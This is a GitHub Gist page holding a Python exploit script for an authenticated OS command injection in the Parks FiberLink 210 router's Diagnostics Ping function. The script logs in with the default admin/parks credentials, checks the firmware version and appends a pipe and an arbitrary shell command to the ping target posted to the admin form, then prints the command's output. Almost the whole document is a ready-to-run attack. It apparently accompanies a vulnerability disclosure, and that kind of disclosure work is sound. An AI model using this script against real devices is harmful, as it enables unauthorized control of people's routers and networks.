-
-
Save gbrls/58a5032bc58510abb908386124d1b4d2 to your computer and use it in GitHub Desktop.
fiberlink210 OS command injection
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Vulnerability discovered and Exploit written | |
# by Gabriel Schneider (@gbrls) - in Recife, 2023 | |
# | |
# There's a Command Injection Vulnerability in the | |
# Diagnostics -> Ping functionality in the Admin panel. | |
# To inject commands you just need to insert a | after | |
# the target for the ping. | |
import requests | |
import urllib.parse | |
import logging as log | |
import argparse | |
def parse_arguments(): | |
parser = argparse.ArgumentParser( | |
description='Authenticated Command Injection for Parks FiberLink 210') | |
parser.add_argument("url", help="URL to process") | |
parser.add_argument("--user", default="admin", | |
help="Username (default: admin)") | |
parser.add_argument("--password", default="parks", | |
help="Password (default: parks)") | |
parser.add_argument("--cmd", default="ls -la /", | |
help="Command (default: 'ls -la /')") | |
return parser.parse_args() | |
def create_data_string(target_addr, cmd, waninf): | |
template = "target_addr={target_addr}&waninf={waninf}" | |
encoded_target_addr = urllib.parse.quote(target_addr + '|' + cmd) | |
encoded_waninf = urllib.parse.quote(waninf) | |
return template.format(target_addr=encoded_target_addr, | |
waninf=encoded_waninf) | |
def check(url): | |
response = requests.get( | |
f'{url}/status_device_basic_info.asp', verify=False) | |
# The vulnerability was confirmed for the V2.1.14_X000 version | |
return not ('V2.1.15_X000' in response.text) | |
def trigger(url, interface, cmd): | |
headers = { | |
'Content-Type': 'application/x-www-form-urlencoded', | |
} | |
data = create_data_string('localhost', cmd, interface) | |
response = requests.post( | |
f'{url}/boaform/admin/formPing', | |
headers=headers, data=data, verify=False) | |
log.info('Command sent') | |
return get_text(response.text, 'pre') | |
def get_text(html_content, tag): | |
start_tag = f'<{tag}' | |
end_tag = f'</{tag}>' | |
start_index = html_content.find(start_tag) | |
if start_index == -1: | |
return None | |
start_index = html_content.find(">", start_index) + 1 | |
end_index = html_content.find(end_tag, start_index) | |
if end_index == -1: | |
return None | |
return html_content[start_index:end_index].strip() | |
def get_interface(url): | |
headers = { | |
'Content-Type': 'application/x-www-form-urlencoded', | |
} | |
data = '\r\n' | |
response = requests.get(f'{url}/diag_ping_admin.asp', | |
headers=headers, data=data, verify=False) | |
return get_text(response.text, 'option') | |
def login(url, username, password): | |
headers = { | |
'Content-Type': 'application/x-www-form-urlencoded', | |
} | |
data = { | |
'username': username, | |
'psd': password, | |
} | |
response = requests.post( | |
f'{url}/boaform/admin/formLogin', | |
headers=headers, data=data, verify=False) | |
return not ("bad password" in response.text.lower() | |
or response.status_code == 403) | |
def main(): | |
args = parse_arguments() | |
log.basicConfig( | |
level=log.INFO, format='[%(levelname)s] %(message)s') | |
if not login(args.url, args.user, args.password): | |
log.warning('Wrong credentials!') | |
return | |
if not check(args.url): | |
log.warning('Version is not vulnerable!') | |
return | |
log.info('Authenticated') | |
interface = get_interface(args.url) | |
if interface is None: | |
log.warning('No valid interfaces!') | |
return | |
log.info(f'Using {interface} interface') | |
print(trigger(args.url, interface, args.cmd)) | |
if __name__ == '__main__': | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment